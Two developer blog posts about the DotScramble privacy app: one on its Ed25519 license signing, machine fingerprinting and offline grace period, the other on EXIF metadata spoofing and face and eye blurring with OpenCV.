DEV Community: freerave

Building DotScramble Part 2: Ed25519 License Signing, Machine Fingerprinting, and a 7-Day Offline Grace Period

freerave — Sat, 27 Jun 2026 14:27:48 +0000

How DotScramble protects its Pro tier using asymmetric cryptography — public key verification, a weighted hardware fingerprint, server-side activation limits, and a background recheck thread.

Series recap: DotScramble is a desktop privacy tool that blurs, pixelates, and redacts sensitive regions in images. Part 1 covered the core image processing pipeline and metadata spoofing. This post covers the licensing system — specifically, how I built something that actually works without being trivially crackable.

The Threat Model

Before writing a single line of licensing code, I had to define what I'm actually protecting against.

Attack	Realistic?	What I'm defending against
Copy/paste the `.py` file to another machine	Very likely	Machine fingerprinting
Share one key across unlimited machines	Likely	Server-side activation limits
Modify `is_max_activated = True` in source	Trivial in Python	Cython binary compilation
Forge a license token offline	Requires private key	Ed25519 asymmetric signing
Use the app without internet forever	Easy	7-day offline grace period + background recheck
Roll back the system clock to extend a token	Clever	Clock rollback detection

The goal wasn't to make DotScramble uncrackable — determined attackers can always get around software licensing. The goal was to make it not worth the effort for casual use, while keeping it completely frictionless for legitimate users.

The Token Format

Every activated machine gets a signed license token — a compact, self-contained credential that the app can verify locally without any network call.

The format is two Base64URL segments joined by a dot:

<base64url(JSON payload)>.<base64url(Ed25519 signature)>

The payload looks like this:

{
  "mid": "a3f1b2c9d4e5f6a7b8c9d0e1f2a3b4c5",
  "name": "FreeRave",
  "plan": "max",
  "exp": 1782000000
}

mid — the machine ID (more on this below)
name — shown in the welcome message on activation
plan — "max" for Pro tier
exp — Unix timestamp when the token expires

The server signs this payload with its Ed25519 private key and sends the complete token to the client. The client verifies it using a hardcoded public key — which can only verify, never forge.

Why Ed25519 Over HMAC?

The classic alternative is HMAC-SHA256: generate a secret key, share it with the client, use it to sign tokens. The problem is obvious — if the key is in the client binary, it can be extracted and used to generate unlimited fake tokens offline.

Ed25519 solves this by design:

Private key  →  only on the server  →  signs tokens
Public key   →  hardcoded in the app  →  verifies tokens, cannot forge

Forging a valid signature without the private key requires breaking Ed25519 — computationally infeasible. The worst a reverse engineer can do with the public key is verify tokens, which is the same thing the app does.

The public key in license_manager.py:

_ED25519_PUBLIC_KEY_B64 = "DQ0zJAi1S0c+NUhOP3050au9k5/fYwLU45ayTZIFVuI="

32 bytes. That's the entire security boundary between the app and unlimited offline activation.

The Verification Function

The full verification runs locally on every startup and every activation:

def _verify_token(self, token: str) -> Tuple[bool, dict]:
    try:
        from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey
        parts = token.split(".")
        if len(parts) != 2:
            return False, {}
        payload_b64, sig_b64 = parts

        # Safe dynamic padding — prevents decoder crashes on tokens
        # with non-multiple-of-4 base64 lengths
        def _b64dec(s: str) -> bytes:
            return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))

        payload_bytes = _b64dec(payload_b64)
        sig_bytes     = _b64dec(sig_b64)

        pub_raw    = base64.b64decode(_ED25519_PUBLIC_KEY_B64)
        public_key = Ed25519PublicKey.from_public_bytes(pub_raw)
        public_key.verify(sig_bytes, payload_bytes)    # raises on invalid sig

        payload = json.loads(payload_bytes.decode())

        # Check expiry
        if payload.get("exp", 0) < time.time():
            return False, {}

        # Check machine binding
        if payload.get("mid", "") != self.generate_machine_id():
            return False, {}

        return True, payload
    except Exception:
        return False, {}

Three checks, in order:

Signature valid — Ed25519PublicKey.verify() raises an exception on any tampered payload
Not expired — server controls token lifetime via exp
Machine matches — the mid in the token must equal this machine's fingerprint

All three must pass. Fail any one, the token is rejected and the local activation is cleared.

The _b64dec padding trick: Standard Base64 requires padding to a multiple of 4 characters. URL-safe Base64 (used in JWTs and similar) often strips it. The expression '=' * (-len(s) % 4) adds exactly the right number of = characters — 0 if already padded, 1, 2, or 3 otherwise. It's a modular arithmetic trick that avoids an if/else chain.

Machine Fingerprinting

The machine ID is a 32-character hex string derived from hardware factors. It needs to be:

Stable — survive reboots, VPN changes, hostname changes
Unique enough — distinguish different machines
Cross-platform — work on Linux, Windows, macOS

@staticmethod
def generate_machine_id() -> str:
    factors: dict[str, str] = {}

    # Platform-specific hardware ID — the most stable identifier
    try:
        if platform.system() == "Linux":
            mid_path = "/etc/machine-id"
            if os.path.isfile(mid_path):
                with open(mid_path) as f:
                    factors["mid"] = f.read().strip()

        elif platform.system() == "Windows":
            import winreg
            key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r"SOFTWARE\Microsoft\Cryptography"
            )
            factors["mid"] = winreg.QueryValueEx(key, "MachineGuid")[0]

        elif platform.system() == "Darwin":
            import subprocess
            out = subprocess.check_output(
                ["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],
                stderr=subprocess.DEVNULL
            )
            for line in out.decode().splitlines():
                if "IOPlatformUUID" in line:
                    factors["mid"] = line.split('"')[-2]
                    break
    except:
        pass

    # Secondary factors — used if primary is unavailable
    try:
        factors["cpu"] = str(os.cpu_count() or 0)
    except:
        pass

    factors["os"] = platform.system()

    # MAC address — only if it's real hardware, not randomized
    try:
        mac_int = _uuid.getnode()
        if not (mac_int >> 40) & 1:   # bit 40 = 1 means locally administered (randomized)
            factors["mac"] = hex(mac_int)[2:].upper().zfill(12)
    except:
        pass

    # Sort keys for determinism, hash the concatenation
    factor_str = "|".join(f"{k}:{v}" for k, v in sorted(factors.items()))
    return hashlib.sha256(factor_str.encode()).hexdigest()[:32]

The key design choices:

/etc/machine-id on Linux is written once during OS installation by systemd. It survives everything short of a full OS reinstall. It's the most stable machine identifier available on Linux.

MachineGuid on Windows is equivalent — written during OS installation, stored in the registry under HKLM\SOFTWARE\Microsoft\Cryptography.

The MAC address randomization check: Modern Linux kernels and privacy-focused configurations use MAC address randomization. Bit 40 of the MAC address is the "locally administered" bit — if it's set, the MAC was generated randomly and changes on every boot. Including a random MAC in the fingerprint would break activation after every reboot. The check (mac_int >> 40) & 1 skips it when it's randomized.

sorted(factors.items()) — dict ordering in Python 3.7+ is insertion-ordered, but explicitly sorting by key makes the fingerprint deterministic regardless of which factors are available. If /etc/machine-id is missing (e.g., in a container), the hash still produces the same result each run as long as the same secondary factors are present.

The final hash is truncated to 32 hex characters — 128 bits of machine identity, which is more than enough to distinguish machines while keeping the payload compact.

The Activation Flow

User clicks "Activate Pro"
        │
        ▼
LocalAuthManager starts an ephemeral HTTP server on 127.0.0.1:0
(port 0 = OS assigns a free port atomically — no TOCTOU race)
        │
        ▼
Browser opens: https://dotsuite.vercel.app/en/dashboard/dotscramble/auth?port=PORT&state=STATE_TOKEN
        │
        ▼
User logs in and clicks "Activate"
        │
        ▼
Web dashboard POSTs { key, state } to http://127.0.0.1:PORT/callback
        │
        ▼
AuthHandler verifies state token (CSRF protection)
        │
        ▼
LicenseManager.verify_and_activate(key) called
        │
        ▼
Server receives: POST /v1/license/activate
  Authorization: Bearer <api_key>
  Body: { "machine_id": "a3f1b2..." }
        │
        ▼
Server signs token, returns { "license_token": "...", "name": "FreeRave" }
        │
        ▼
Client verifies token locally (_verify_token)
        │
        ▼
Token + API key saved to SQLite
Background recheck thread started

The local HTTP server is a security boundary. The web dashboard can't directly call Python functions — it goes through an HTTP POST, which lets us:

Validate the CSRF state token (prevents any other page from activating on behalf of the user)
Cap the payload size at 4096 bytes (prevents local OOM DoS)
Use secrets.compare_digest() for the state token comparison (constant-time, prevents timing attacks)

def verify_state(self, state):
    if not state or not self.state_token:
        return False
    return secrets.compare_digest(state, self.state_token)

secrets.compare_digest() is not paranoia here — the state token arrives over localhost HTTP, and comparing strings with == leaks timing information about how many characters match before the first mismatch. For a 32-character random token, this isn't a practical attack, but it's the correct primitive and costs nothing.

Storing the Token

Once verified, three values are written to SQLite:

self.db_manager.save_setting("dotsuite_api_key", api_key, "license")
self.db_manager.save_setting("license_token",    token,   "license")
self.db_manager.save_setting("is_max_activated", True,    "license")
self.db_manager.save_setting("last_license_check_time", time.time(), "license")

The database uses INSERT OR REPLACE (upsert) with a setting_type column so license settings can be queried or cleared as a group.

On the next startup, the manager reads the cached token and re-verifies it locally — no network required:

if self._license_token:
    last_verified = float(self.db_manager.get_setting("last_license_check_time", 0.0))
    current_time  = time.time()

    # Clock rollback detection
    if current_time < last_verified:
        self.logger.error("System clock rollback detected on startup!")
        self._clear_local()
    else:
        valid, _ = self._verify_token(self._license_token)
        if valid:
            self._is_max = True
            self.db_manager.save_setting("last_license_check_time", current_time, "license")
            self._schedule_background_recheck()
        else:
            self._clear_local()

The clock rollback check is subtle. If a user sets their system clock back before the token expiry date, local verification would still pass (the token isn't expired from the perspective of the past timestamp). Storing last_license_check_time and comparing against time.time() catches this — if the current time is before the last check time, something is wrong.

The Background Recheck Thread

Local verification is fast and works offline, but it can't detect revoked keys. A key that was refunded, chargebacked, or explicitly revoked would still pass local verification until its token expires.

The solution: a daemon thread that re-checks with the server every 24 hours.

def _schedule_background_recheck(self):
    self.stop_recheck_event.clear()
    t = threading.Thread(
        target=self._recheck_loop,
        daemon=True,
        name="license-recheck"
    )
    t.start()

def _recheck_loop(self):
    while not self.stop_recheck_event.is_set():
        # Wait 24 hours, or until stopped
        is_stopped = self.stop_recheck_event.wait(_RECHECK_HOURS * 3600)
        if is_stopped or self.stop_recheck_event.is_set():
            break
        self._silent_recheck()

Using Event.wait(timeout) instead of time.sleep() means the thread can be cleanly interrupted on deactivation or app close — stop_recheck_event.set() wakes it immediately.

The recheck itself is silent:

def _silent_recheck(self):
    with self.lock:
        if not self._is_max:
            return
        current_key = self._api_key
    try:
        machine_id    = self.generate_machine_id()
        payload_bytes = json.dumps({"machine_id": machine_id}).encode()
        req = urllib.request.Request(
            _RECHECK_URL, data=payload_bytes,
            headers={
                "Authorization": f"Bearer {current_key}",
                "Content-Type": "application/json"
            }
        )
        with urllib.request.urlopen(req, timeout=10) as resp:
            data      = json.loads(resp.read().decode())
            new_token = data.get("license_token", "")

        valid, _ = self._verify_token(new_token)
        if valid:
            # Refresh the cached token
            with self.lock:
                self._license_token = new_token
            self.db_manager.save_setting("license_token", new_token, "license")
            self.db_manager.save_setting("last_license_check_time", time.time(), "license")
        else:
            self._clear_local()   # Token failed — deactivate silently

    except urllib.error.HTTPError as e:
        if e.code in (401, 403, 404):
            self._clear_local()   # Key revoked — deactivate silently
        # Other errors (500, network timeout) — do nothing, try again next cycle

    except:
        pass   # Offline — grace period continues

The error handling is intentional:

401/403/404 — the server explicitly rejected the key (revoked, deleted, or not found). Deactivate immediately.
5xx / timeout / no network — server might be temporarily down. Don't deactivate. The user has 7 days of offline grace before the token expires.
Any other exception — same as above, fail open.

This gives legitimate users a 7-day offline window while still detecting revoked keys as soon as connectivity is restored.

The `is_max_activated` Property

Every feature gate in the UI calls this single property:

@property
def is_max_activated(self) -> bool:
    # Extremely fast in-memory query
    # prevents frame drops in preview sliders
    with self.lock:
        return self._is_max

This is intentionally the simplest possible thing. No token re-verification, no database reads, no disk I/O — just a boolean behind a mutex. The reasoning: this property is called on every frame of the real-time preview slider. Token re-verification takes 0.5–2ms (cryptographic operation). At 60fps, that's up to 120ms/second of crypto overhead — enough to cause visible stuttering.

The heavy verification happens once on startup and once per recheck cycle, then the result is cached in memory.

Where it's used in main_window.py:

# Feature gating at detection mode switch
def on_detection_change(self):
    mode = self.detection_mode.get()
    pro_only_modes = ['target_text', 'text', 'body', 'license_plate']

    if mode in pro_only_modes and not self.license_manager.is_max_activated:
        QMessageBox.information(
            self,
            "Pro Feature",
            f"The '{mode_display}' detection mode is a Pro feature.\n\n"
            f"Upgrade to DotScramble Pro for advanced AI models."
        )
        self.detection_mode.set("face")   # Reset to free tier

# Feature gating at save time
is_max     = self.license_manager.is_max_activated
should_scrub = is_max and self.scrub_exif.get()
should_spoof = is_max and self.spoof_metadata.get() and not should_scrub

Protecting the Source with Cython

Python source is trivially readable. is_max_activated can be patched in two keystrokes:

# Original
return self._is_max

# Cracked version
return True

The defense: compile license_manager.py to a native .so extension using Cython. The setup_license.py script does this:

from setuptools import setup, Extension
from Cython.Build import cythonize

extensions = [
    Extension(
        "src.managers.license_manager",
        sources=["src/managers/license_manager.py"],
        extra_compile_args=["-O2"],  # Strip debug symbols
    )
]

setup(
    name="dotscramble_license",
    ext_modules=cythonize(
        extensions,
        compiler_directives={
            "embedsignature": False,   # No readable function signatures
            "emit_code_comments": False,  # No source hints in the binary
            "language_level": "3",
            "boundscheck": False,
            "wraparound": True,
        },
    ),
    zip_safe=False,
)

Build command:

python setup_license.py build_ext --inplace
# → src/managers/license_manager.cpython-313-x86_64-linux-gnu.so

After building, the .py source is removed from the distribution. The app imports from the .so exactly the same way — Python's import system finds the compiled extension automatically.

The resulting binary is a real shared library. Patching it requires disassembling machine code and finding the return instruction — orders of magnitude harder than editing a .py file. Not impossible, but the effort-to-reward ratio is high enough that most people will just buy a license.

Note: The compiled .so is platform-specific — cpython-313-x86_64-linux-gnu.so only runs on Linux x86_64 with CPython 3.13. Targeting Windows and macOS requires separate build steps on each platform, which is a solved problem for any CI pipeline.

The Full Lifecycle

First run (no license)
├── _is_max = False
├── Free tier features available
└── "Activate Pro" triggers browser flow

Activation
├── LocalAuthManager starts ephemeral HTTP server
├── Browser → dotsuite.vercel.app/auth → user logs in
├── Dashboard POSTs { key, state } to 127.0.0.1:PORT/callback
├── CSRF state verified (secrets.compare_digest)
├── verify_and_activate(key) sends machine_id to API server
├── Server signs token with Ed25519 private key
├── Client verifies token locally (signature + expiry + machine)
├── Token cached in SQLite
└── Background recheck thread started

Every startup (with cached token)
├── Clock rollback check
├── Local token verification (signature + expiry + machine)
├── _is_max = True if valid
└── Recheck thread started

Every 24 hours (background thread)
├── POST machine_id to /v1/license/recheck
├── Server returns fresh token (extends expiry)
├── Local verification of new token
├── Cache updated
└── On HTTP 401/403/404 → _clear_local() → instant deactivation

Deactivation
├── stop_recheck_event.set() → thread wakes and exits
├── DELETE /v1/license/deactivate (frees the activation slot)
└── _clear_local() → all local state wiped

What Doesn't Work (By Design)

I explicitly chose not to implement:

Online-only mode — requiring a network connection on every launch would be a poor user experience. Planes, trains, conferences with bad WiFi, corporate proxies. The 7-day grace period handles all of these.

Hardware lock to MAC address only — MAC addresses are trivially spoofed. Using /etc/machine-id and MachineGuid as the primary identifier is more robust.

Obfuscating the public key — pointless. The public key is designed to be public. Hiding it in a string scrambler doesn't add security — it just makes the code messier.

Aggressive telemetry — the only data sent to the server is the machine ID and the API key. No usage statistics, no file names, no behavioral data. DotScramble is a privacy tool — phoning home with analytics would be self-contradictory.

Key Takeaways

On Ed25519 vs HMAC: Use asymmetric signing whenever the verifier (client) is untrusted. If the client holds a shared secret, it can forge. If it only holds a public key, it can only verify.

On machine fingerprinting: Prefer OS-level identifiers (/etc/machine-id, MachineGuid) over network-layer identifiers (MAC, IP). The latter change too often to be reliable anchors.

On background threads: Event.wait(timeout) is better than time.sleep() for long-polling threads. It wakes immediately on event.set(), so shutdown is clean and instantaneous.

On feature gates: Keep the hot path — the boolean check called per-frame — as fast as possible. Cache everything. Do the expensive work (crypto, network) once in background.

On source protection: Cython is not DRM. It raises the bar significantly against casual tampering, but a determined reverse engineer can still disassemble the .so. The actual security comes from the Ed25519 signature — you can read every byte of the binary and still can't forge a valid token.

Part 3 covers what happened when I tried to make the UI actually good — a PyQt6 → PySide6 migration forced by a GPL license conflict, three separate Wayland window management bugs, and building a custom animated file picker from scratch.

GitHub · OpenDesktop · Ko-fi · Buy Me a Coffee

Inside DotScramble: Metadata Spoofing, Custom EXIF Control, and Advanced Face/Eye Blur

freerave — Tue, 23 Jun 2026 13:32:46 +0000

A deep dive into how DotScramble protects your privacy — from injecting plausible-but-fake EXIF metadata to detecting and blurring faces and eyes with OpenCV Haar Cascades.

TL;DR — DotScramble is an open-source desktop app that protects image privacy through two main pillars: metadata obfuscation (stripping or spoofing EXIF data so your camera, GPS, and timestamp can't be traced back to you) and visual redaction (automatically detecting and blurring faces, eyes, license plates, and text). This post digs into the code behind both systems.

Why Metadata Is the Hidden Threat

When you take a photo, the file doesn't just contain pixels. Hidden inside is a block of EXIF metadata that silently stores:

Field	Example Value	Risk
`GPS Latitude/Longitude`	`30.0444° N, 31.2357° E`	Reveals your exact location
`Camera Make/Model`	`Apple iPhone 15 Pro`	Fingerprints your device
`DateTimeOriginal`	`2026:06:21 14:32:11`	Timestamps your movements
`Software`	`iOS 17.5`	Exposes OS/platform

Most people strip this metadata before sharing photos — but stripping alone can look suspicious. A completely blank EXIF block on a modern smartphone image is a red flag to any tracking algorithm. DotScramble takes a different approach: instead of silent stripping, it injects plausible-but-fake disinformation.

Part 1: The Metadata Spoofing Engine

The core of the system lives in core/metadata_spoofer.py.

The Camera Database — Intentionally Vintage

FAKE_CAMERAS: list[tuple[str, str, str]] = [
    ("Nokia",     "3310",              "Nokia Imaging 1.0"),
    ("Motorola",  "RAZR V3",           "Motorola Camera 1.2"),
    ("Samsung",   "SCH-U340",          "Samsung Digimax 2.1"),
    ("Casio",     "QV-10A",            "Casio Digital Camera"),
    ("Polaroid",  "PDC 640",           "Polaroid Software 1.1"),
    ("Kodak",     "DC40",              "Kodak EasyShare 3.0"),
    # ... and more
]

The list is intentionally filled with vintage and implausible devices — a Nokia 3310 doesn't have a camera at all, which is exactly the point. Trackers fingerprint devices by cross-referencing camera model with image resolution, color profile, and noise patterns. Injecting a Nokia 3310 signature into a modern 12MP photo creates an irreconcilable contradiction that defeats fingerprinting.

GPS Presets — Middle of Nowhere

GPS_PRESETS: dict[str, tuple[float, float]] = {
    "pacific":    (   4.2234,  -157.4521),  # Middle of Pacific Ocean
    "antarctica": ( -89.3312,    12.0000),  # Antarctica
    "arctic":     (  89.1122,  -178.4343),  # Arctic Ocean
    "sahara":     (  23.4122,    10.9988),  # Remote Sahara (no cell towers)
    "amazon":     (  -5.3421,   -63.2231),  # Deep Amazon basin
}

These aren't random — each preset was chosen because it's a location with no plausible human population or cell infrastructure, making it impossible to cross-reference the fake GPS against telecom tower data.

A small jitter is added to each preset on every run so the same preset never produces the exact same coordinates twice:

def _pick_gps(preset, custom, jitter=True):
    coords = GPS_PRESETS.get(preset, GPS_PRESETS["pacific"])
    if jitter:
        lat = coords[0] + random.uniform(-0.08, 0.08)
        lon = coords[1] + random.uniform(-0.08, 0.08)
        return (round(lat, 4), round(lon, 4))
    return coords

Converting GPS to EXIF Rationals

EXIF GPS doesn't store decimal degrees directly — it uses a DMS (Degrees, Minutes, Seconds) format with rational numbers (numerator/denominator pairs). Here's how DotScramble handles the conversion:

def _dms_rational(value: float) -> tuple[tuple[int, int], ...]:
    """Convert decimal degrees → (deg, min, sec) as EXIF rational tuples."""
    abs_v = abs(value)
    deg   = int(abs_v)
    m_f   = (abs_v - deg) * 60
    mins  = int(m_f)
    secs  = round((m_f - mins) * 60 * 10_000)
    return ((deg, 1), (mins, 1), (secs, 10_000))

The result gets packaged into a full GPS IFD:

def _build_gps_ifd(lat: float, lon: float) -> dict:
    return {
        piexif.GPSIFD.GPSLatitudeRef:  b"S" if lat < 0 else b"N",
        piexif.GPSIFD.GPSLatitude:     _dms_rational(lat),
        piexif.GPSIFD.GPSLongitudeRef: b"W" if lon < 0 else b"E",
        piexif.GPSIFD.GPSLongitude:    _dms_rational(lon),
        piexif.GPSIFD.GPSAltitude:     (0, 1),
        piexif.GPSIFD.GPSMapDatum:     b"WGS-84",
    }

Spoof Profiles — Opinionated Presets

Rather than exposing raw settings, DotScramble exposes three high-level profiles:

PROFILES = {
    "ghost": {
        # Maximum obfuscation — Nokia 3310 in Antarctica, year 2000
        "gps_preset":         "antarctica",
        "camera":             "Nokia 3310",
        "fake_datetime_mode": "epoch",
        "keep_copyright":     False,
    },
    "troll": {
        # Plausibly wrong — recent vintage camera, random ocean
        "gps_preset":         "pacific",
        "camera":             "random",
        "fake_datetime_mode": "recent",
        "keep_copyright":     False,
    },
    "artist": {
        # For photographers — strips location+device, preserves copyright
        "gps_preset":         "atlantic",
        "camera":             "random",
        "fake_datetime_mode": "random",
        "keep_copyright":     True,
    },
}

Usage is dead simple from Python:

from core.metadata_spoofer import spoof

result = spoof("photo.jpg", profile="ghost")
print(result)
# {
#   "format": "JPEG",
#   "camera": "Nokia 3310",
#   "gps": {"lat": -89.2891, "lon": 12.0412},
#   "datetime": "2000:01:01 00:00:00",
#   ...
# }

Or from the CLI:

dotscramble-spoof photo.jpg --profile ghost
dotscramble-spoof photo.jpg --gps-preset pacific --camera "Kodak DC40"
dotscramble-spoof photo.jpg --gps-custom 23.4 -54.2 --keep-copyright
dotscramble-spoof photo.jpg --dry-run --json

JPEG vs PNG — Different Metadata Formats

JPEG and PNG handle metadata completely differently:

JPEG uses binary EXIF chunks (IFD tables). DotScramble builds these using piexif:

exif_bytes = piexif.dump({
    "0th":  zeroth_ifd,   # Camera make, model, software, datetime
    "Exif": exif_ifd,     # DateTimeOriginal, ISO, aperture, shutter
    "GPS":  gps_ifd,      # Lat/lon in DMS rational format
})
img.save(output_path, "JPEG", exif=exif_bytes, quality=95)

PNG uses simple text chunks (key-value pairs). No GPS support in the standard:

pnginfo = PngImagePlugin.PngInfo()
pnginfo.add_text("Software",      software)
pnginfo.add_text("Author",        make)
pnginfo.add_text("Creation Time", png_dt)
pnginfo.add_text("date:create",   iso_dt)
pnginfo.add_text("date:modify",   iso_dt)
img.save(output_path, "PNG", pnginfo=pnginfo)

Design Note: PNG's text chunks are completely human-readable with any hex editor. DotScramble still populates them because many social platforms and reverse image search engines parse them. Injecting noise is better than leaving them empty.

Part 2: Custom Metadata Control — Per-Field EXIF Surgery

The spoofing profiles are great for quick use, but power users need surgical control. That's what the Custom Metadata Dialog provides — a per-field control panel where every EXIF tag can independently be set to one of four actions:

✅ Keep   — preserve the original value exactly
🗑 Strip  — remove this field entirely  
🎲 Spoof  — replace with a random plausible fake
✏️ Custom — enter your own specific value

The `spoof_custom()` Function

This is the engine behind the dialog. It takes a field_actions dict and applies each action independently:

def spoof_custom(
    input_path: str,
    output_path: str | None = None,
    *,
    field_actions: dict,
) -> dict:
    """
    Apply per-field EXIF actions to a JPEG or PNG.

    field_actions keys: gps, make, model, software, datetime, copyright, exposure
    Values: "keep" | "strip" | "spoof" | {"value": str}
            (gps uses {"lat": .., "lon": ..} for custom)
    """

The resolver function handles all four action types elegantly:

def _resolve_text(key: str, fake_fn) -> str | None:
    action = field_actions.get(key, "keep")
    if action == "strip":             return None
    if action == "keep":              return current.get(key)
    if action == "spoof":             return fake_fn()
    if isinstance(action, dict):      return action.get("value", "")
    return current.get(key)

# Applied per-field:
r_make     = _resolve_text("make",     lambda: make)
r_model    = _resolve_text("model",    lambda: model)
r_software = _resolve_text("software", lambda: software)
r_datetime = _resolve_text("datetime", lambda: _fake_timestamp("random"))

Reading Existing EXIF to Pre-fill the UI

Before showing the dialog, DotScramble reads the current EXIF so the user can see what's actually in the file:

def read_exif_fields(image_path: str) -> dict:
    """Read current EXIF and return structured dict for pre-filling the dialog."""
    result = {k: None for k in
              ("gps", "make", "model", "software", "datetime", "copyright", "exposure")}

    exif_dict = piexif.load(image_path)
    zeroth = exif_dict.get("0th", {})
    exif   = exif_dict.get("Exif", {})
    gps    = exif_dict.get("GPS", {})

    result["make"]     = _decode(zeroth, piexif.ImageIFD.Make)
    result["model"]    = _decode(zeroth, piexif.ImageIFD.Model)
    result["datetime"] = _decode(zeroth, piexif.ImageIFD.DateTime)
    # ... GPS DMS → decimal conversion, exposure parsing, etc.
    return result

The GPS conversion from DMS rational back to decimal is the tricky part:

def _dms_to_decimal(dms_tuple, ref: bytes) -> float | None:
    d = _rational(dms_tuple[0]) or 0
    m = _rational(dms_tuple[1]) or 0
    s = _rational(dms_tuple[2]) or 0
    val = d + m / 60 + s / 3600
    if ref in (b"S", b"W"):
        val = -val
    return round(val, 6)

Preset System for the Dialog

The Custom dialog also supports saving and loading named presets, backed by a JSON file:

# Example saved preset
{
    "gps":       "strip",
    "make":      "spoof",
    "model":     "spoof",
    "software":  "strip",
    "datetime":  {"value": "2023:01:01 12:00:00"},
    "copyright": "keep",
    "exposure":  "spoof"
}

Factory presets ship with the app (Ghost, Troll, Artist), and users can create their own. Factory presets are read-only and can't be deleted or overwritten.

Part 3: Advanced Face and Eye Blur

The visual redaction engine lives in core/image_processor.py.

The Detection Engine

DotScramble uses OpenCV's Haar Cascade classifiers — a classical machine learning approach that's fast, works offline, and has no cloud dependencies. The DetectionEngine class wraps the key classifiers:

class DetectionEngine:
    """Advanced detection algorithms"""

    @staticmethod
    def detect_faces(image):
        """Detect faces using Haar Cascade"""
        face_cascade = cv2.CascadeClassifier(
            cv2.data.haarcascades + 'haarcascade_frontalface_default.xml'
        )
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
        faces = face_cascade.detectMultiScale(gray, 1.1, 5, minSize=(30, 30))
        return faces

    @staticmethod
    def detect_eyes(image):
        """Detect eyes using Haar Cascade"""
        eye_cascade = cv2.CascadeClassifier(
            cv2.data.haarcascades + 'haarcascade_eye.xml'
        )
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
        eyes = eye_cascade.detectMultiScale(gray, 1.1, 5, minSize=(20, 20))
        return eyes

The parameters that matter:

scaleFactor=1.1 — how much the image is scaled down per detection pass (1.1 = 10% reduction per pass, slower but more accurate)
minNeighbors=5 — how many overlapping detections a region needs before it's accepted (higher = fewer false positives)
minSize=(30, 30) — minimum region size in pixels (filters out noise)

Applying the Blur — The `gaussian_blur` Method

Once regions are detected, DotScramble applies effects. The gaussian_blur implementation has extensive validation to handle edge cases like faces at image borders:

@staticmethod
def gaussian_blur(image, x, y, w, h, strength):
    """Apply Gaussian blur to region with validation"""
    img_h, img_w = image.shape[:2]

    # Clip region to image boundaries (handles faces at edges)
    x_end = min(x + w, img_w)
    y_end = min(y + h, img_h)
    w = x_end - x
    h = y_end - y

    # Ensure minimum region size
    if w < 3 or h < 3:
        raise ValueError(f"Region too small: {w}x{h}")

    # GaussianBlur requires odd kernel size
    if strength % 2 == 0:
        strength += 1
    strength = max(3, strength)

    region = image[y:y_end, x:x_end]
    blurred = cv2.GaussianBlur(region, (strength, strength), 0)
    return blurred

Beyond Blur — The Full Effect Suite

Blur is just one option. DotScramble supports 7 different privacy effects that can be applied to any detected region:

Effect	Method	Best For
🌫️ Gaussian Blur	`gaussian_blur()`	Professional, natural look
🔲 Pixelation	`pixelate()`	Classic censoring style
⬛ Black Bar	`black_bar()`	Strong, unambiguous redaction
🎭 Gradient Fade	`gradient_fade()`	Artistic/subtle censoring
🔳 Mosaic	`mosaic_effect()`	Decorative tile pattern
❄️ Frosted Glass	`frosted_glass()`	Translucent glass aesthetic
🎨 Oil Paint	`oil_paint()`	Artistic painting effect

The pixelation effect is a neat double-resize trick — shrink down, then scale back up with nearest-neighbor interpolation:

@staticmethod
def pixelate(image, x, y, w, h, pixel_size):
    region = image[y:y_end, x:x_end]
    region_h, region_w = region.shape[:2]
    pixel_size = max(1, pixel_size)

    # Shrink → enlarge = pixelation
    temp_h = max(1, region_h // pixel_size)
    temp_w = max(1, region_w // pixel_size)
    temp = cv2.resize(region, (temp_w, temp_h), interpolation=cv2.INTER_LINEAR)
    pixelated = cv2.resize(temp, (region_w, region_h), interpolation=cv2.INTER_NEAREST)
    return pixelated

The frosted glass effect combines PIL and OpenCV:

@staticmethod
def frosted_glass(image, x, y, w, h, strength=15):
    region = image[y:y_end, x:x_end]

    # Convert to PIL for advanced filtering
    pil_region = Image.fromarray(cv2.cvtColor(region, cv2.COLOR_BGR2RGB))

    blurred  = pil_region.filter(ImageFilter.GaussianBlur(strength))
    enhanced = ImageEnhance.Brightness(blurred).enhance(1.1)
    final    = enhanced.filter(ImageFilter.EDGE_ENHANCE)

    # Back to OpenCV format
    return cv2.cvtColor(np.array(final), cv2.COLOR_RGB2BGR)

Opacity Blending — Partial Redaction

All effects support an opacity parameter that blends the processed region with the original:

@staticmethod
def apply_opacity(original, processed, opacity):
    """Blend processed region with original based on opacity"""
    if original.shape != processed.shape:
        processed = cv2.resize(processed, (original.shape[1], original.shape[0]))

    alpha = opacity / 100.0
    return cv2.addWeighted(processed, alpha, original, 1 - alpha, 0)

This is useful for subtle watermark-style redaction (e.g., 50% opacity blur) vs. hard censoring (100%).

The Full Workflow

📁 Load Image
    │
    ▼
🎯 Select Detection Mode
    ├── Face Detection (Haar Cascade)
    ├── Eye Detection (Haar Cascade)
    ├── Full Body Detection
    ├── License Plate (contour analysis)
    ├── Text Detection (Tesseract OCR)
    ├── Manual Selection (draw regions)
    └── Full Image
    │
    ▼
🎨 Choose Effect + Strength + Opacity
    │
    ▼
🛡️  Apply Metadata Control
    ├── Quick Profile (ghost / troll / artist)
    └── Custom Per-Field (keep/strip/spoof/custom)
    │
    ▼
💾 Save / Batch Export

Why Haar Cascades Instead of Deep Learning?

I get this question a lot. DotScramble intentionally chose Haar Cascades over modern deep learning detectors like YOLO or MediaPipe face mesh. The reasons:

No cloud, no internet — Haar Cascades run entirely offline. Privacy tools should never phone home.
Zero model download on first run — the XML classifiers are bundled with OpenCV. No 100MB model download.
Fast on CPU — users don't need a GPU. The app runs fine on a 5-year-old laptop.
Good enough for the use case — the goal is privacy, not 99.9% recall. If a face is missed, Manual Selection is always available as fallback.

That said, AI-powered tracking (YOLOv8 or similar) is on the roadmap for v1.4.0 to improve detection of faces at angles, in poor lighting, or partially occluded.

Getting Started

# Clone
git clone https://github.com/kareem2099/DotScramble.git
cd DotScramble

# Install dependencies
pip install -r requirements.txt
# pip install opencv-python numpy Pillow pytesseract piexif PySide6

# Optional: Tesseract for text detection
sudo apt install tesseract-ocr

# Run
python src/main.py

Or grab the standalone Linux executable — no Python required — from one of these:

Platform	Link
🐙 GitHub Releases	Latest Release
🖥️ OpenDesktop / Pling	opendesktop.org/p/2362477

Conclusion

